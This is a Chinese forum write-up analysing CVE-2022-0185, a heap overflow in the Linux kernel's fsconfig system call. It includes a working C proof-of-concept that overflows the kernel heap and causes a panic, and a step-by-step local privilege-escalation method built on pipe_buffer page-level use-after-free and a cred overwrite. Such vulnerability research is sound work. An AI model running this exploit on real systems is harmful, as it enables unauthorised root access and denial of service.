吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7411|回复: 18
收起左侧

[漏洞分析] 【CVE-2022-0185】Linux kernel [文件系统挂载API] 堆溢出漏洞分析与利用

  [复制链接]
arttnba3 发表于 2023-6-9 19:19

0x00.一切开始之前

CVE-2022-0185 是 2022 年初爆出来的一个位于 filesystem context 系统中的 fsconfig 系统调用中的一个堆溢出漏洞,对于有着 CAP_SYS_ADMIN 权限(或是开启了 unprivileged namespace)的攻击者而言其可以利用该漏洞完成本地提权,该漏洞获得了高达 8.4 的 CVSS 评分

发现漏洞的安全研究员的挖掘与利用过程参见这里,本文编写时也有一定参考

本文选择内核版本 5.4 进行分析,在开始分析之前,我们先来补充一些基础知识

注:本文漏洞利用测试环境与 exp 已经开源于 我的 Github 上

Filesystem mount API 初探

参见知乎上的该系列文章

相信大家对于 Linux 下的文件系统的挂载都是非常熟悉—— mount  系统调用被用以将文件系统挂载到以 / 为根节点的文件树上,例如我们可以用如下命令挂载硬盘 /dev/sdb1/mnt/temp 目录下,之后就能在该目录下进行文件访问:

$ sudo mount /dev/sdb1 /mnt/temp

或是通过编写程序的方式使用裸的 mount 系统调用进行挂载:

#include <stdio.h>
#include <sys/mount.h>

int main(int argc, char **argv, char **envp)
{
    if (argc < 4) {
        puts("[-] Usage: moount {dev_path} {mount_point} {fs_type}")
    }

    if (mount(argv[1], argv[2], argv[3], 0, NULL)) {
        printf("[x] Failed to mount %s at %s by file system type: %s!\n", 
              argv[1], argv[2], argv[3]);
    } else {
        printf("[+] Successful to mount %s at %s by file system type: %s.\n", 
              argv[1], argv[2], argv[3]);
    }

    return 0;
}

但是总有些人想搞个大新闻,以 AL Viro 为首的开发者认为旧的 mount 系统调用存在诸多漏洞与设计缺陷,于是决定重写一套新的 mount API,并成功被合并到内核主线,称之为 Filesystem Mount API

新的 mount API 将过去的一个简单的 mount 系统调用的功能拆分成了数个新的系统调用,对应不同的文件系统挂载阶段,于是乎现在 Linux 上有着两套并行的 mount API

Step.I - fsopen: 获取一个 filesystem context

还记得笔者以前说过的 Linux 中一切皆文件 的哲学吗,在新的 mount API 中也遵循了这样的哲学——如果说 open() 系统调用用以打开一个文件并提供一个文件描述符,那么 fsopen() 系统调用便用于打开一个文件系统,并提供一个”文件系统描述符“——称之为 文件系统上下文(filesystem context)

wait, it's all FILES

由于标准库中还未添加 new mount API 相关的代码,因此我们需要写 raw syscall 来进行相关的系统调用,例如我们可以使用如下代码打开一个空白的 ext4 文件系统上下文(需要 CAP_SYS_ADMIN 权限,或是开启了 unprivileged namespace 的情况下使用 unshare() 系统调用创建带有该权限的 namespace):

#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

int main(int argc, char **argv, char **envp)
{
    int fs_fd;

    fs_fd = fsopen("ext4", 0);
    if (fs_fd < 0) {
        puts("[x] FAILED to fsopen!");
        return -1;
    }
    printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

    return 0;
}

需要注意的是这里创建的是一个空白的文件系统上下文,并没有与任何实际设备或文件进行关联——这是我们需要在接下来的步骤中完成的配置

fsopen() in kernel

superblock、dentry 这类的 VFS 基础知识不在此处科普,请自行了解:)

在内核当中,fsopen() 系统调用的行为实际上对应创建的是一个 fs_context 结构体作为 filesystem context,创建一个对应的 file 结构体并分配一个文件描述符:

/*
 * 按名称打开文件系统以便于对其进行设置以挂载
 *
 * 我们被允许指定在哪个容器中打开文件系统,由此指示要使用哪一个命名空间
 * (尤其是将哪个网络命名空间用于网络文件系统).
 */
SYSCALL_DEFINE2(fsopen, const char __user *, _fs_name, unsigned int, flags)
{
    struct file_system_type *fs_type;//文件系统类型
    struct fs_context *fc;//文件系统上下文
    const char *fs_name;
    int ret;

    // capabilities 机制,检查对应【命名空间】是否有 CAP_SYS_ADMIN 权限
    if (!ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN))
        return -EPERM;

    if (flags & ~FSOPEN_CLOEXEC)
        return -EINVAL;

    // 拷贝用户传入的文件系统名
    fs_name = strndup_user(_fs_name, PAGE_SIZE);
    if (IS_ERR(fs_name))
        return PTR_ERR(fs_name);

    // 按名称获取文件系统类型
    fs_type = get_fs_type(fs_name);
    kfree(fs_name);
    if (!fs_type)
        return -ENODEV;

    // 创建文件系统上下文结构体
    fc = fs_context_for_mount(fs_type, 0);
    put_filesystem(fs_type);
    if (IS_ERR(fc))
        return PTR_ERR(fc);

    fc->phase = FS_CONTEXT_CREATE_PARAMS;

    // 分配 Logging buffer
    ret = fscontext_alloc_log(fc);
    if (ret < 0)
        goto err_fc;

    // 创建 file 结构体并分配文件描述符
    return fscontext_create_fd(fc, flags & FSOPEN_CLOEXEC ? O_CLOEXEC : 0);

err_fc:
    put_fs_context(fc);
    return ret;
}

其中 fs_context 的具体定义如下:

/*
 * 用以保存在创建与重新配置一个 superblock 中的参数的文件系统上下文
 *
 * Superblock 的创建会填充到 ->root 中,重新配置需要该字段已经设置.
 *
 * 参见 Documentation/filesystems/mount_api.txt
 */
struct fs_context {
    const struct fs_context_operations *ops;
    struct mutex        uapi_mutex; /* 用户空间访问的互斥锁 */
    struct file_system_type *fs_type;
    void            *fs_private;    /* 文件系统的上下文 */
    void            *sget_key;
    struct dentry       *root;      /* root 与 superblock */
    struct user_namespace   *user_ns;   /* 将要挂载的用户命名空间 */
    struct net      *net_ns;    /* 将要挂载的网络1命名空间 */
    const struct cred   *cred;      /* 挂载者的 credentials */
    struct fc_log       *log;       /* Logging buffer */
    const char      *source;    /* 源 (eg. 设备路径) */
    void            *security;  /* Linux S&M 设置 */
    void            *s_fs_info; /* Proposed s_fs_info */
    unsigned int        sb_flags;   /* Proposed superblock flags (SB_*) */
    unsigned int        sb_flags_mask;  /* Superblock flags that were changed */
    unsigned int        s_iflags;   /* OR'd with sb->s_iflags */
    unsigned int        lsm_flags;  /* Information flags from the fs to the LSM */
    enum fs_context_purpose purpose:8;
    enum fs_context_phase   phase:8;    /* The phase the context is in */
    bool            need_free:1;    /* 需要调用 ops->free() */
    bool            global:1;   /* Goes into &init_user_ns */
};

fs_context 的初始化在 alloc_fs_context() 中完成,在 fsopen() 中对应的是 FS_CONTEXT_FOR_MOUNT

/**
 * alloc_fs_context - 创建一个文件系统上下文.
 * @fs_type: 文件系统类型.
 * @reference: The dentry from which this one derives (or NULL)//想不出咋翻
 * @sb_flags: Filesystem/superblock 标志位 (SB_*)
 * @sb_flags_mask: @sb_flags 中可用的成员
 * @purpose: 本次配置的目的.
 *
 * 打开一个文件系统并创建一个挂载上下文(mount context),挂载上下文被以对应的标志位进行初始化,
 * 若从另一个 superblock (引自 @reference)进行 submount/automount,
 * 则可能由从该 superblock 拷贝来的参数1(如命名空间).
 */
static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
                      struct dentry *reference,
                      unsigned int sb_flags,
                      unsigned int sb_flags_mask,
                      enum fs_context_purpose purpose)
{
    int (*init_fs_context)(struct fs_context *);
    struct fs_context *fc;
    int ret = -ENOMEM;

    // 分配 fs_context 结构体
    fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL);
    if (!fc)
        return ERR_PTR(-ENOMEM);

    // 设置对应属性
    fc->purpose  = purpose;
    fc->sb_flags = sb_flags;
    fc->sb_flags_mask = sb_flags_mask;
    fc->fs_type  = get_filesystem(fs_type);
    fc->cred = get_current_cred();
    fc->net_ns   = get_net(current->nsproxy->net_ns);

    mutex_init(&fc->uapi_mutex);

    // 由 purpose 设置对应的命名空间
    switch (purpose) {
    case FS_CONTEXT_FOR_MOUNT:
        fc->user_ns = get_user_ns(fc->cred->user_ns);
        break;
    case FS_CONTEXT_FOR_SUBMOUNT:
        fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
        break;
    case FS_CONTEXT_FOR_RECONFIGURE:
        atomic_inc(&reference->d_sb->s_active);
        fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
        fc->root = dget(reference);
        break;
    }

    /* TODO: 让所有的文件系统无条件支持这块 */
    init_fs_context = fc->fs_type->init_fs_context;
    if (!init_fs_context)
        init_fs_context = legacy_init_fs_context;

    // 初始化 fs_context
    ret = init_fs_context(fc);
    if (ret < 0)
        goto err_fc;
    fc->need_free = true;
    return fc;

err_fc:
    put_fs_context(fc);
    return ERR_PTR(ret);
}

在完成了通用的初始化工作后,最终进行具体文件系统对应初始化工作的其实是调用 file_system_type 中的 init_fs_context 函数指针对应的函数完成的,这里我们可以看到对于未设置 init_fs_context 的文件系统类型而言其最终会调用 legacy_init_fs_context() 进行初始化,主要就是为 fs_context->fs_private 分配一个 legacy_fs_context 结构体,并将 fs_context 的函数表设置为 legacy_fs_context_ops

static int legacy_init_fs_context(struct fs_context *fc)
{
    fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
    if (!fc->fs_private)
        return -ENOMEM;
    fc->ops = &legacy_fs_context_ops;
    return 0;
}

legacy_fs_context 结构体的定义如下,标识了一块指定长度与类型的缓冲区:

struct legacy_fs_context {
    char            *legacy_data;   /* Data page for legacy filesystems */
    size_t          data_size;
    enum legacy_fs_param    param_type;
};

Step.II - fsconfig: 设置 filesystem context 的相关参数与操作

在完成了空白的文件系统上下文的创建之后,我们还需要对其进行相应的配置,以便于后续的挂载操作,这个配置的功能对应到的就是 fsconfig() 系统调用

fsconfig() 系统调用根据不同的 cmd 进行不同的操作,对于挂载文件系统而言其核心操作主要就是两个 cmd:

  • FSCONFIG_SET_STRING :设置不同的键值对参数
  • FSCONFIG_CMD_CREATE:获得一个 superblock 并创建一个 root entry

示例用法如下所示,这里创建了一个键值对 "source"=/dev/sdb1 表示文件系统源所在的设备名:

#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
    return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int main(int argc, char **argv, char **envp)
{
    int fs_fd;

    fs_fd = fsopen("ext4", 0);
    if (fs_fd < 0) {
        puts("[x] FAILED to fsopen!");
        return -1;
    }
    printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

    fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
    fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

    return 0;
}
✳ fsconfig() in kernel

内核空间中的 fsconfig() 实现比较长,但主要就是根据 cmd 进行各种 switch,这里就不贴完整的源码了:

SYSCALL_DEFINE5(fsconfig,
        int, fd,
        unsigned int, cmd,
        const char __user *, _key,
        const void __user *, _value,
        int, aux)
{
    struct fs_context *fc;
    struct fd f;
    int ret;

    struct fs_parameter param = {
        .type   = fs_value_is_undefined,
    };

    if (fd < 0)
        return -EINVAL;

    switch (cmd) {
    case FSCONFIG_SET_FLAG:
    // 主要是参数的各种检查
    // ...
    default:
        return -EOPNOTSUPP;
    }

    // 获取文件描述符
    f = fdget(fd);
    if (!f.file)
        return -EBADF;
    ret = -EINVAL;
    if (f.file->f_op != &fscontext_fops)
        goto out_f;

    // 获取 fs_context,存储在文件描述符的 private_data 字段
    fc = f.file->private_data;
    if (fc->ops == &legacy_fs_context_ops) {
        switch (cmd) { // 一个操作都没实现
        case FSCONFIG_SET_BINARY:
        case FSCONFIG_SET_PATH:
        case FSCONFIG_SET_PATH_EMPTY:
        case FSCONFIG_SET_FD:
            ret = -EOPNOTSUPP;
            goto out_f;
        }
    }

    // 拷贝 key 字段到内核空间
    if (_key) {
        param.key = strndup_user(_key, 256);
        if (IS_ERR(param.key)) {
            ret = PTR_ERR(param.key);
            goto out_f;
        }
    }

    // 根据不同的 cmd 进行 param 的不同设置
    switch (cmd) {
        // ...
        // 我们主要关注这个 cmd
        case FSCONFIG_SET_STRING:
        param.type = fs_value_is_string;
        param.string = strndup_user(_value, 256);
        if (IS_ERR(param.string)) {
            ret = PTR_ERR(param.string);
            goto out_key;
        }
        param.size = strlen(param.string);
        break;
        // ...
    default:
        break;
    }

    ret = mutex_lock_interruptible(&fc->uapi_mutex);
    if (ret == 0) { // 根据前面设置的 param 进行 VFS 相关操作
        ret = vfs_fsconfig_locked(fc, cmd, ¶m);
        mutex_unlock(&fc->uapi_mutex);
    }

    /* Clean up the our record of any value that we obtained from
     * userspace.  Note that the value may have been stolen by the LSM or
     * filesystem, in which case the value pointer will have been cleared.
     */
    switch (cmd) {
    case FSCONFIG_SET_STRING:
    // 临时数据清理工作
    //...
    default:
        break;
    }
out_key:
    kfree(param.key);
out_f:
    fdput(f);
    return ret;
}

fsconfig() 的核心作用主要还是根据 cmd 进行参数的封装,最后进入到 VFS 中的操作则通过 vfs_fsconfig_locked() 完成

Step.III - fsmount: 获取一个挂载实例

完成了文件系统上下文的创建与配置,接下来终于来到文件系统的挂载操作了,fsmount() 系统调用用以获取一个可以被用以进行挂载的挂载实例,并返回一个文件描述符用以下一步的挂载

示例用法如下:

#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
    return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags)
{
    return syscall(__NR_fsmount, fsfd, flags, ms_flags);
}

int main(int argc, char **argv, char **envp)
{
    int fs_fd, mount_fd;

    fs_fd = fsopen("ext4", 0);
    if (fs_fd < 0) {
        puts("[x] FAILED to fsopen!");
        return -1;
    }
    printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

    fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
    fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

    mount_fd = fsmount(fs_fd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);

    return 0;
}

Step.IV - move_mount: 将挂载实例在挂载点间移动

最后来到一个不统一以 fs 开头进行命名的 move_mount() 系统调用,其用以将挂载实例在挂载点间移动:

  • 对于尚未进行挂载的挂载实例而言,进行挂载的操作便是从空挂载点 "" 移动到对应的挂载点(例如 "/mnt/temp"),此时我们并不需要给出目的挂载点的 fd,而可以使用 AT_FDCWD

引入了 move_mount() 之后,我们最终的一个用以将 "/dev/sdb1""ext4" 文件系统挂载到 "/mnt/temp" 的完整示例程序如下:

#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>
#include <fcntl.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif

#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
    return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags)
{
    return syscall(__NR_fsmount, fsfd, flags, ms_flags);
}

int move_mount(int from_dfd, const char *from_pathname,int to_dfd, 
               const char *to_pathname, unsigned int flags)
{
    return syscall(__NR_move_mount, from_dfd, from_pathname, to_dfd, to_pathname, flags);
}

int main(int argc, char **argv, char **envp)
{
    int fs_fd, mount_fd;

    fs_fd = fsopen("ext4", 0);
    if (fs_fd < 0) {
        puts("[x] FAILED to fsopen!");
        return -1;
    }
    printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

    fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
    fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

    mount_fd = fsmount(fs_fd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);
    move_mount(mount_fd, "", AT_FDCWD, "/mnt/temp", MOVE_MOUNT_F_EMPTY_PATH);

    return 0;
}

这一套流程下来便是 new Filesystem mount API 的基本用法

0x01.漏洞分析

legacy_parse_param() - 整型溢出导致的越界拷贝

前面我们提到该漏洞发生于 fsconfig() 系统调用中,若我们给的 cmdFSCONFIG_SET_STRING,则在内核中存在如下调用链:

fsconfig()
    vfs_fsconfig_locked()
        vfs_parse_fs_param()

vfs_parse_fs_param() 中会调用 fs_context->ops->parse_param 函数指针:

int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{
    int ret;

    //...

    if (fc->ops->parse_param) {
        ret = fc->ops->parse_param(fc, param);
        if (ret != -ENOPARAM)
            return ret;
    }

前面我们讲到对于未设置 init_fs_context 的文件系统类型而言其最终会调用 legacy_init_fs_context() 进行初始化,其中 fs_context 的函数表会被设置为 legacy_fs_context_ops,其 parse_param 指针对应为 legacy_parse_param() 函数:

const struct fs_context_operations legacy_fs_context_ops = {
    .free           = legacy_fs_context_free,
    .dup            = legacy_fs_context_dup,
    .parse_param        = legacy_parse_param,
    .parse_monolithic   = legacy_parse_monolithic,
    .get_tree       = legacy_get_tree,
    .reconfigure        = legacy_reconfigure,
};

漏洞便发生在该函数中,在计算 len > PAGE_SIZE - 2 - size 时,由于 size 为 unsigned int ,若 size + 2 > PAGE_SIZE ,则 PAGE_SIZE - 2 - size 的结果会下溢为一个较大的无符号值,从而绕过 len 的检查,这里的 size 来源为 ctx->data_size,即已拷贝的总的数据长度

/*
 * Add a parameter to a legacy config.  We build up a comma-separated list of
 * options.
 */
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
    struct legacy_fs_context *ctx = fc->fs_private;
    unsigned int size = ctx->data_size; // 已拷贝的数据长度
    size_t len = 0;

    if (strcmp(param->key, "source") == 0) {
        if (param->type != fs_value_is_string)
            return invalf(fc, "VFS: Legacy: Non-string source");
        if (fc->source)
            return invalf(fc, "VFS: Legacy: Multiple sources");
        fc->source = param->string;
        param->string = NULL;
        return 0;
    }

    if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
        return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");

    // 计算 len
    switch (param->type) {
    case fs_value_is_string:// 对应 FSCONFIG_SET_STRING
        len = 1 + param->size;
        /* Fall through */
    case fs_value_is_flag:
        len += strlen(param->key);
        break;
    default:
        return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
                  param->key);
    }

    // 此处存在整型溢出的漏洞,若 size + 2 大于一张页的大小则会上溢为一个较大的无符号整型,
    // 导致此处通过检查,从而导致后续步骤中的越界拷贝
    if (len > PAGE_SIZE - 2 - size)
        return invalf(fc, "VFS: Legacy: Cumulative options too large");
    if (strchr(param->key, ',') ||
        (param->type == fs_value_is_string &&
         memchr(param->string, ',', param->size)))
        return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
                  param->key);

在后面的流程中会从用户控件将数据拷贝到  ctx->legacy_data  上,而 ctx->legacy_data 仅分配了一张页面大小,但后续流程中的拷贝是从 ctx->legacy_data[size] 开始的,由于 size 可以大于一张页大小,因此此处可以发生数据数据写入,由于 ctx->legacy_data 在分配时使用的是通用的分配 flag GFP_KERNEL,因此可以溢出到绝大多数的常用结构体中

    // 为 legacy_data 分配一张页的大小
    if (!ctx->legacy_data) {
        ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
        if (!ctx->legacy_data)
            return -ENOMEM;
    }

    ctx->legacy_data[size++] = ',';
    len = strlen(param->key);
    // size 可以大于一张页,但是 legacy_data 只有一张页,从而导致了越界拷贝
    memcpy(ctx->legacy_data + size, param->key, len);
    size += len;
    if (param->type == fs_value_is_string) {
        ctx->legacy_data[size++] = '=';
        // size 可以大于一张页,但是 legacy_data 只有一张页,从而导致了越界拷贝
        memcpy(ctx->legacy_data + size, param->string, param->size);
        size += param->size;
    }
    ctx->legacy_data[size] = '\0';
    ctx->data_size = size;
    ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
    return 0;
}

这里需要注意的是,由于 fsconfig 的限制,我们单次写入的最大长度为 256 字节,因此我们需要多次调用 fsconfig 以让其逐渐逼近 PAGE_SIZE,而 len > PAGE_SIZE - 2 - size 的检查并非完全无效,由于 size 为已拷贝数据长度而 len 为待拷贝数据长度,因此只有当 size 累加到 4095 时才会发生整型溢出,这里我们在进行溢出前需要卡好已拷贝数据长度刚好为 4095

由于 legacy_parse_param() 中拷贝的结果形式为 ",key=val",故我们有如下计算公式:

  • 单次拷贝数据长度 = len(key) + len(val) + 2

下面笔者给出一个笔者自己计算的 4095:

    /**
     * fulfill the ctx->legacy_data to 4095 bytes, 
     * so that the (PAGE_SIZE - 2 - size) overflow
     */
    for (int i = 0; i < 255; i++) {
        fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
    }
    fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);

Proof of Concept

由于大部分的文件系统类型都未设置 init_fs_context,因此最后都可以走到 legacy_parse_param() 的流程当中,例如 ext4 文件系统的 file_system_type 定义如下:

static struct file_system_type ext4_fs_type = {
    .owner      = THIS_MODULE,
    .name       = "ext4",
    .mount      = ext4_mount,
    .kill_sb    = kill_block_super,
    .fs_flags   = FS_REQUIRES_DEV,
};

这里我们将通过 ext4 文件系统进行漏洞复现,我们只需要越界写足够长的一块内存,通常都能写到一些内核结构体从而导致 kernel panic

需要注意的是 filesystem mount API 需要命名空间具有  CAP_SYS_ADMIN 权限,但由于其仅检查命名空间权限,故对于没有该权限的用户则可以通过 unshare(CLONE_NEWNS|CLONE_NEWUSER) 创建新的命名空间,以在新的命名空间内获取对应权限

#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <linux/mount.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, 
             const char *key, const void *val, int aux)
{
    return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

void errExit(char *msg)
{
    printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

int main(int argc, char **argv, char **envp)
{
    int fs_fd;

    /* create new namespace to get CAP_SYS_ADMIN */
    unshare(CLONE_NEWNS | CLONE_NEWUSER);

    /* get a filesystem context */
    fs_fd = fsopen("ext4", 0);
    if (fs_fd < 0) {
        errExit("FAILED to fsopen()!");
    }

    /**
     * fulfill the ctx->legacy_data to 4095 bytes, 
     * so that the (PAGE_SIZE - 2 - size) overflow
     */
    for (int i = 0; i < 255; i++) {
        fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
    }
    fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);

    /* make an oob-write by fsconfig */
    for (int i = 0; i < 0x4000; i++) {
        fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "arttnba3", 0);
    }

    return 0;
}

运行,成功通过堆溢出造成 kernel panic:

image.png

0x02.漏洞利用

下面笔者给出两种利用方法,其中第一种方法已经经过笔者验证,第二种方法是由漏洞发现者提出的利用方法,尚未经过笔者验证(不过理论上可行)

方法一、覆写 pipe_buffer 构造页级 UAF

正如笔者在 这篇帖子 中所言,强大的 pipe_buffer 利用技术允许我们将绝大多数的内核中的内存损坏漏洞(甚至仅是一个 '\0' 字节的堆溢出)转换为无需任何特权的无限的对物理内存的任意读写能力,并能完美绕过包括 KASLR、SMEP、SMAP 在内的多项主流缓解措施,因此笔者选择使用这项技术完成漏洞利用

Step.I - 堆喷 msg_msg 定位溢出位置

由于下次写入必定会向下一个对象内写入一个 '=' 和一个 '\0' ,而这个 '=' 就很不可爱,因此我们选择不直接利用与其相邻的第一个 4k 对象,而是覆写与其相邻的第二个 4k 对象,这样我们便能只向第二个 4k 对象内写入一个可爱的 \x00 :)

这里笔者选择首先堆喷 msg_msg,利用漏洞将 m_ts 改大,通过 MSG_COPY 读取检查被覆写的 msg_msg释放除了该 msg_msg 以外的其他 msg_msg

Step.II - fcntl(F_SETPIPE_SZ) 更改 pipe_buffer 所在 slub 大小,构造页级 UAF

接下来我们考虑溢出的目标对象,现在我们仅想要使用一个 \x00 字节完成利用,毫无疑问的是我们需要寻找一些在结构体头部便有指向其他内核对象的指针的内核对象,我们不难想到的是 pipe_buffer 是一个非常好的的利用对象,其开头有着指向 page 结构体的指针,而 page 的大小仅为 0x40 ,可以被 0x100 整除,若我们能够通过 partial overwrite 使得两个管道指向同一张页面,并释放掉其中一个,我们便构造出了页级的 UAF

original state

null-byte partial overwrite

page-level UAF

同时管道的特性还能让我们在 UAF 页面上任意读写,这真是再美妙不过了:)

但是有一个小问题,pipe_buffer 来自于 kmalloc-cg-1k ,其会请求 order-2 的页面,而漏洞对象大小为 4k,其会请求 order-3 的页面,如果我们直接进行不同 order 间的堆风水的话,则利用成功率会大打折扣 :(

但 pipe 可以被挖掘的潜力远比我们想象中大得多:)现在让我们重新审视 pipe_buffer 的分配过程,其实际上是单次分配 pipe_bufspipe_buffer 结构体:

struct pipe_inode_info *alloc_pipe_info(void)
{
    //...

    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
                 GFP_KERNEL_ACCOUNT);

这里注意到 pipe_buffer 不是一个常量而是一个变量,那么我们能否有方法修改 pipe_buffer 的数量?答案是肯定的,pipe 系统调用非常贴心地为我们提供了 F_SETPIPE_SZ 让我们可以重新分配 pipe_buffer 并指定其数量

long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)
{
    struct pipe_inode_info *pipe;
    long ret;

    pipe = get_pipe_info(file, false);
    if (!pipe)
        return -EBADF;

    __pipe_lock(pipe);

    switch (cmd) {
    case F_SETPIPE_SZ:
        ret = pipe_set_size(pipe, arg);
//...

static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
{
    //...

    ret = pipe_resize_ring(pipe, nr_slots);

//...

int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots)
{
    struct pipe_buffer *bufs;
    unsigned int head, tail, mask, n;

    bufs = kcalloc(nr_slots, sizeof(*bufs),
               GFP_KERNEL_ACCOUNT | __GFP_NOWARN);

那么我们不难想到的是我们可以通过 fcntl() 重新分配单个 pipe 的 pipe_buffer 数量,

  • 对于每个 pipe 我们指定分配 64 个 pipe_buffer,从而使其向 kmalloc-cg-2k 请求对象,而这将最终向 buddy system 请求 order-3 的页面

由此,我们便成功使得 pipe_buffer 与题目模块的对象处在同一 order 的内存页上,从而提高 cross-cache overflow 的成功率

不过需要注意的是,由于 page 结构体的大小为 0x40,其可以被 0x100 整除,因此若我们所溢出的目标 page 的地址最后一个字节刚好为 \x00,  那就等效于没有溢出  ,因此实际上利用成功率仅为 75% (悲)

Step.III - 构造二级自写管道,实现任意内存读写

有了 page-level UAF,我们接下来考虑向这张页面分配什么结构体作为下一阶段的 victim object

由于管道本身便提供给我们读写的功能,而我们又能够调整 pipe_buffer 的大小并重新分配结构体,那么再次选择 pipe_buffer 作为 victim object 便是再自然不过的事情:)

image.png

接下来我们可以通过 UAF 管道读取 pipe_buffer 内容,从而泄露出 page、pipe_buf_operations 等有用的数据(可以在重分配前预先向管道中写入一定长度的内容,从而实现数据读取),由于我们可以通过 UAF 管道直接改写 pipe_buffer ,因此将漏洞转化为 dirty pipe 或许会是一个不错的办法(这也是本次比赛中 NU1L 战队的解法)

但是 pipe 的强大之处远不止这些,由于我们可以对 UAF 页面上的 pipe_buffer 进行读写,我们可以继续构造出第二级的 page-level UAF

secondary page-level UAF

为什么要这么做呢?在第一次 UAF 时我们获取到了 page 结构体的地址,而 page 结构体的大小固定为 0x40,且与物理内存页一一对应,试想若是我们可以不断地修改一个 pipe 的 page 指针,则我们便能完成对整个内存空间的任意读写,因此接下来我们要完成这样的一个利用系统的构造

再次重新分配 pipe_buffer 结构体到第二级 page-level UAF 页面上,由于这张物理页面对应的 page 结构体的地址对我们而言是已知的,我们可以直接让这张页面上的 pipe_buffer 的 page 指针指向自身,从而直接完成对自身的修改

third-level self-pointing pipe

这里我们可以篡改 pipe_buffer.offsetpipe_buffer.len 来移动 pipe 的读写起始位置,从而实现无限循环的读写,但是这两个变量会在完成读写操作后重新被赋值,因此这里我们使用三个管道

  • 第一个管道用以进行内存空间中的任意读写,我们通过修改其 page 指针完成 :)
  • 第二个管道用以修改第三个管道,使其写入的起始位置指向第一个管道
  • 第三个管道用以修改第一个与第二个管道,使得第一个管道的 pipe 指针指向指定位置、第二个管道的写入起始位置指向第三个管道

通过这三个管道之间互相循环修改,我们便实现了一个可以在内存空间中进行近乎无限制的任意读写系统 :)

Step.IV - 提权

有了内存空间中的任意读写,提权便是非常简便的一件事情了,这里笔者选择通过修改当前进程的 task_struct 的 cred 为 init_cred 的方式来完成提权

